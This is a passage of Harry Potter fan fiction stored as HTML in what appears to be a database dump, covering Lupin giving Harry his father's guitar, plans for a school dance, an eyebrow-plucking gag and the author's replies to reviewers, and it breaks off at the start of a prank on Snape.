could\nmake it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Professor,&#8221; Harry\nimmediately began. &#8220;I swear it wasn&#8217;t Ron and I who did it!&#8221; Lupin gave him an\nodd look. Harry immediately blushed. &#8220;Er, this isn&#8217;t about that, is it?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Keep your mouth shut and\nyou&#8217;ll avoid a lot of misfortunes, Harry my boy.&#8221; Lupin told him with a shake\nof his head. &#8220;Just like your father, you are. Always denying things before they\nare found out.&#8221; Here Harry beamed at being compared to his father. &#8220;Actually,\nthat&#8217;s why I asked you to come.&#8221; His teacher went on. &#8220;I found it when I got my\nold trunk delivered here. I had it re stringed and cleaned up for you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry was confused. &#8220;Re-stringed,\nsir?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lupin nodded. &#8220;Yes.&#8221; He\npointed to a chair across from them. When Harry looked, he saw a guitar case.\n&#8220;It was your father&#8217;s.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry walked over to it and opened\nthe case. &#8220;Dad could play?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh yes.&#8221; He agreed readily.\n&#8220;Very well at that. Lilly did love a good song. He learned how to play just for\nher.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry picked up the guitar\nand observed it. &#8220;I never knew.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;The Marauders played\ntogether a lot.&#8221; He continued. &#8220;There are a few pictures in the case as well.&#8221;\nHarry picked them up and looked at them while the werewolf continued his tale. &#8220;Prongs\nand I played the guitars. Oh, you should have heard how horrible we were at\nfirst. We almost got kicked out of the Gryffindor tower for all the bad\nsounds.&#8221; He seemed happy in the memory. &#8220;Padfoot never learned how to play, but\nhe had the mind of a master, I tell you. He could make a song up to anything.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sirius wrote lyrics?&#8221; Harry\nasked amazed. &#8220;I would have <i style="mso-bidi-font-style:normal">never</i>\nseen that one coming.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We even had a theme song.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;A theme song?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah. We all got together\nand did it. Padfoot, Prongs, and I.&#8221;&nbsp;\nHarry nodded, knowing that neither one of them wanted to mention the ex\nmarauder who went by &#8216;wormtail&#8217;.&nbsp; &#8220;Would\nyou like to hear?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Lupin took the guitar from Harry\nand played a few notes. &#8220;I&#8217;m out of practice.&#8221; He admitted, looking down at the\nguitar. &#8220;Prongs, my friend, even when you&#8217;re not around, it always seem your\n&#8216;get-string&#8217; is in drop-D&#8230;&#8221; His eyes reflected a bit, but he blinked away the\nmemories. &#8220;For old time&#8217;s sakes&#8230;.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The chords were more heavy\nmetal sounding than Harry thought they would be, but Moony kept going. &#8220;Padfoot\nsang.&#8221; He said, still playing. &#8220;So if I&#8217;m not good, blame him for not giving me\nlessons.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And then he sang.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Off through the new day\'s\nmist I run </p>\n\n<p class="MsoNormal">Out from the new day\'s mist I\nhave come </p>\n\n<p class="MsoNormal">I hunt </p>\n\n<p class="MsoNormal">Therefore I am </p>\n\n<p class="MsoNormal">Harvest the land </p>\n\n<p class="MsoNormal">Taking of the fallen lamb </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Off through the new day\'s\nmist I run </p>\n\n<p class="MsoNormal">Out from the new day\'s mist I\nhave come </p>\n\n<p class="MsoNormal">We shift </p>\n\n<p class="MsoNormal">Pulsing with the earth </p>\n\n<p class="MsoNormal">Company we keep </p>\n\n<p class="MsoNormal">Roaming the land while you\nsleep </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Shape shift, nose to the wind\n</p>\n\n<p class="MsoNormal">Shape shift, feeling I\'ve\nbeen </p>\n\n<p class="MsoNormal">Move swift, all senses clean </p>\n\n<p class="MsoNormal">Earth\'s gift, back to the\nmeaning of life </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Bright is the moon, high in\nstarlight </p>\n\n<p class="MsoNormal">Chill in the air, cold as\nsteel tonight </p>\n\n<p class="MsoNormal">We shift </p>\n\n<p class="MsoNormal">Call of the wild </p>\n\n<p class="MsoNormal">Fear in your eyes </p>\n\n<p class="MsoNormal">It\'s later than you realized </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Shape shift, nose to the wind\n</p>\n\n<p class="MsoNormal">Shape shift, feeling I\'ve\nbeen </p>\n\n<p class="MsoNormal">Move swift, all senses clean </p>\n\n<p class="MsoNormal">Earth\'s gift, back to the\nmeaning of life &#8220;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry gaped as he played a\nrather difficult looking part.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I feel a change&#8230; </p>\n\n<p class="MsoNormal">Back to a better day&#8230; </p>\n\n<p class="MsoNormal">Hair stands on the back of my\nneck&#8230; </p>\n\n<p class="MsoNormal">In wildness is the\npreservation of the world&#8230; </p>\n\n<p class="MsoNormal">So seek the wolf in thyself! </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Shape shift, nose to the wind\n</p>\n\n<p class="MsoNormal">Shape shift, feeling I have\nbeen </p>\n\n<p class="MsoNormal">Move swift, all senses clean </p>\n\n<p class="MsoNormal">Earth\'s gift </p>\n\n<p class="MsoNormal">Back to the meaning of wolf and\nman&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hehe, still have it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m back.&#8221; Harry said as he\nentered his room and put his guitar on his bed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione looked up from\nreading a book and smiled. &#8220;Welcome back. What did Professor Lupin need? Did he\nfind out about you-&#8220;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, no, I wasn&#8217;t in\ntrouble.&#8221; Harry waved it off and kicked of his shoes without untying them\nfirst. &#8220;He gave me my father&#8217;s old guitar.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Can you play?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Heh, no.&#8221; He scoffed with a\ngoofy grin. &#8220;I&#8217;m going to learn, though. If my father can do it, I&#8217;m sure I can\nto.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmmmmmm.&#8221; She went back to\nher book while he changed. &#8220;Oh, Ron said he was looking for you.&#8221; She\nremembered. &#8220;Might want to visit him before you go to bed.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right.&#8221; Harry pulled on\nhis pajama pants bottom and walked out of the room shirtless. Hermione shook\nher head sadly when she heard a few first, second, and third year girls squeal\nat the sight. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That idiot.&#8221; But she smiled\nand bit her lip to try and keep it down.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yo, Ron!&#8221; Harry walked into\nthe dorm without knocking and gave a short wave to his old room mates while\nwalking to Ron&#8217;s bed. &#8220;You said you wanted to talk?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah.&#8221; Ron motioned for him\nto sit on the bed. When this was done, he pulled the curtains around them. &#8220;I\nhave a favour to ask of you.&#8221; He whispered to his friend, looking&nbsp; more than a little embarrassed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure thing.&#8221; Harry whispered\nback, leaning in a little bit. &#8220;Why are we whispering? You need the cloak? We\nshould lay low after we just-&#8220;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, it&#8217;s something else.&#8221;\nRon protested. &#8220;After what we just did, we should wait at <i style="mso-bidi-font-style:\nnormal">least</i> a month before stepping out of line.&#8221; Harry nodded in\nagreement. &#8220;Anyway,&#8221; Ron went on. &#8220;I have to ask you something.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Shoot.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, you know how the dance\nis like twenty days away?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Is it?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You git, <i style="mso-bidi-font-style:normal">yes</i>!&#8221; Ron hissed. &#8220;Sweet Merlin, have <i style="mso-bidi-font-style:normal">you</i> asked out a girl yet?&#8221; The dumb grin\non Harry&#8217;s face proved that he hadn&#8217;t. &#8220;Listen, anyway, I want to ask you if\nyou think Lavender would go with me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;<i style="mso-bidi-font-style:\nnormal">Lavender</i>!?&#8221; Harry shouted, surprised, before Ron could clasp a hand\nover his mouth. Neville and Seamus both looked over at the bed, but shrugged it\noff. Dean, however, kept an open ear out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You insufferable <i style="mso-bidi-font-style:normal">git</i>!&#8221; Ron whispered harshly to him. &#8220;If\nthey find out&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry pried Ron&#8217;s hand away\nand gave him his shit eating grin. &#8220;Lavender?&#8221; He asked again, this time in a\nwhisper. &#8220;Way to go man, she&#8217;s <i style="mso-bidi-font-style:normal">hot</i>!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Coming from you, that&#8217;s\nquite a compliment.&#8221; Ron replied, but then went on before Harry could ponder\nthat one. &#8220;Do you think she&#8217;ll say yes?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The boy who lived sudden\nturned serious. &#8220;Truthfully?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron swallowed hard. &#8220;Yeah.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, duh.&#8221; Harry grinned\nagain. &#8220;You&#8217;re only <i style="mso-bidi-font-style:normal">the</i> Ronald\nWeasley, one of the two people to ever pull a prank like we just did!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So that&#8217;s a &#8216;go for it&#8217;\nthen?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You know it.&#8221; Harry gave him\na small wave. &#8220;I&#8217;ll just be off then. Divination homework and all that.&#8221; He\nmoved to leave, but Ron grabbed his shoulder; making him turn.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Could you ask her for me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, for the love of-&#8220;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What did he need?&#8221; Hermione\nasked Harry when he came back in. She was on her back with her legs in the air,\npropped on one the pole son her bed. She was wearing one of Harry&#8217;s button up\ndress shirts, black, leaving the top few undone. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry glanced over at her and\nquickly looked away. &#8220;Nice panties, Herms.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She squeaked and quickly\njerked her legs down and thrust her hands between them, making her shirt cover\neverything. &#8220;Pervert!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry jumped onto her bed and\nsank down in it. &#8220;Yes, but that&#8217;s beside the point. Anyway, you have a date for\nthe dance yet?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione sniffed, still a\nlittle irked at him. &#8220;No, why? Does Ron want to ask me out?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, he&#8217;s asking Lavender.&#8221;\nHermione&#8217;s eyes went wide, but Harry went on regardless. She was practically\nbouncing up and down while waiting for her chance to ask about it while Harry\ntalked. &#8220;What I&#8217;m wondering is if you&#8217;ll want to go with me?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, now about Ron!&#8221; She\ngrinned from ear to ear. &#8220;Really? Lavender?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry frowned a bit. &#8220;Oi,\ncome on now. At least <i style="mso-bidi-font-style:normal">pretend</i> to act\nlike you&#8217;re interested in me asking you out to the dance.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, Harry, you&#8217;re so cute\nsometimes.&#8221; Hermione patted his head playfully. &#8220;You <i style="mso-bidi-font-style:\nnormal">know</i> I would say yes.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes, well, it&#8217;s just that...\nWhat are you looking at?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You need to tweeze your\neyebrows.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Huh?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~**~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ow! For the love of Behemaut!\n&#8221; The door to the prefect&#8217;s room opened so hard the door slammed against the\nwall. Everyone in the common room jerked their heads up in surprise, only to\nsee a half dressed Harry Potter run from his room, skid because he tried to\nstop too fast, and ran into the seventh year&#8217;s dorm. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A few moment&#8217;s later the\nsound of &#8220;Harrrrrrryyyyyyyyy!&#8221; met their ears and Hermione, also half dressed,\nran from the room and knocked on the door. &#8220;I&#8217;m sorry! I didn&#8217;t mean to hurt\nyou! C&#8217;mon! Open up!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">On the other side of the\ndoor, Harry had his back pressed up against the door with wide eyes. &#8220;Don&#8217;t let\nher get me.&#8221; He whispered in a scared voice. &#8220;Please, I beg you&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron looked up. &#8220;Didn&#8217;t you\njust leave?&#8221; He teased, grinning. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It hurt so bad, I couldn&#8217;t\nlet her do my other eyebrow!&#8221; He said in a mad panic. &#8220;Don&#8217;t let her get me!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Seamus got close to Harry and\nlooked at his eyebrows. &#8220;You let her pluck your eyebrows?&#8221; Harry nodded\nlightly. Just the Seamus just realized what was going on. &#8220;She only did one of\nthem.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ron leaned over his friend\nand propped an elbow over his head. &#8220;Yeah! It looks like a baby caterpillar\nchasing after its momma!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry lunged forward. &#8220;Hey!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">When the door was no longer\nbarred, Hermione opened it up and grabbed Harry&#8217;s foot while he was in mid\nleap. The poor boy slammed against the ground and was starting to be drug out\nof the room. &#8220;Guys!&#8221; He called. &#8220;Help!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The door slowly closed and\nthe boys shivered as they heard Hermione laugh and the screams of Harry potter.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Poor guy&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ~~**~~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Ossa!\nOrra Satashi! I know most\nof you are looking at the screen going &#8220;WTF!?&#8221; right now, but let me explain\nwhy this chapter is so darn short. Fist off, I&#8217;m having a heck of a time\nkeeping my scedual straight. My room mate&#8217;s little\nbro came over for 2 days and I didn&#8217;t have a chance to write while he was over.\nThe next day, my older brother came over for a night. I didn&#8217;t write then\neither.&nbsp; Already that&#8217;s three very\nimportant days which&nbsp; Iwould usually get 6,000 words out in. To top off things,\nI just had <i style="mso-bidi-font-style:normal">three</i> test\ntoday. Government, Japanese 2, and Algebra. My mind is\nfried and I want to sleep until Thursday. In order to apologize for lack of\nwriting (as my brain is still over cooked) I&#8217;m gonna talk to a few reviewers\nhere.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">everpresent: The reason Harry is hiding Celestial\nis for his own personal privacy. Hearing voices in your head is never a good\nthing, and having an artifact that saps your magical energy to be able to\ncontinue &#8216;living&#8217; is also something they probably wouldn&#8217;t like. Fear not,\nthough, all secrets must come to an end sooner or later. ^^\nThe bedroom sharing? Come on, it&#8217;s meant for <i style="mso-bidi-font-style:\nnormal">prefects</i>, the rule obiding people like\nPercy and such. Just enjoy the idea :- p</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Zaz: Ph33r mi M4D L33T 5killz! I know, leet\n(1337, L337, L33T, 133t, ect.) is spelled many\ndifferent ways. I&#8217;m spelling it like Largo says it in Mega Tokyo ( www.megatokyo.com\n) L33T.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ran\nand co.: Yo guys! I hope you know about Chobits and Onegai Teacher because they are coming up next chapter!\nAlso look for a little Kenshin and Bandit King Jing!\nLong live Anime freaks!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Beloved:\nHey girl, sup? Thanks for the great reviews. As to why people can speak\nJapanese? &#8216;Cause Harry introduced his friends to Anime back in 5th\nyear. *nod nod * They buy from me personally ( Shameless advertisement space) T.M. REVOLUTION ANIME!\nEmail me at TMRevolution@scifianime.com\nfor questions or request. We can get almost any series you want for the price\nthat is just right!&nbsp; (end\nadvertisement) Anyway, I don&#8217;t think I&#8217;ll be doing anymore CCS for a long time,\ngomen. The Marauders were James and co.&#8217;s group name.\nAlso, Black is a colour for magick users. Witches\nwear colours that help them cast/channel magical\nenergies. Black is simply every colour together, which makes it the most\npractical to wear while doing magick. There is\nnothing &#8216;satanic&#8217; or anything dumb like that about people who wear all black.\nHarry wears it in the fanfic just because it looks\ncool ^.~</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">DJ:\nThanks for all the reviews!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Bessorla: Thanks for the words of confidence, it kept\nme going thus far. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And\neveryone else: You guys are just as important! Thanks a bunch!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Sorry again to not\nhave my usual 10,000 words. I really did try as best I could to get it done. If\nI can, I&#8217;ll <i style="mso-bidi-font-style:normal">try</i> to make the next\nchapter longer but as of right now it&#8217;s not looking good at all&#8230;&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">~Satashi</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(118, 6, '\n\n\n\n<p class="MsoNormal">Professor Snape mumbled to\nhimself as he walked down the corridor to his room. A few slips of &#8216;Potter&#8217; were\nheard mixed with a few curse words. When he reached his dorm, he tapped the\ndoor knob and said his password. Stepping in, he took off his long robes and\ntossed them onto the back of a chair. Holding out his wand, he let out a\nmonotone &#8220;Lumos&#8221;, only to have his wand fall from his hand in shock.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Pink</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It was pink.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Everything.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The stunned professor looked\nto his left. Pink. He looked to his right. Pink. Rage suddenly flared through\nhim when he realized just what Harry and Ron must have been smirking about\nduring class. With a deep breath, he let out his frustration in a yell &#8220;\nPooottteeerrr! Weasleeeeyyyyy!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p 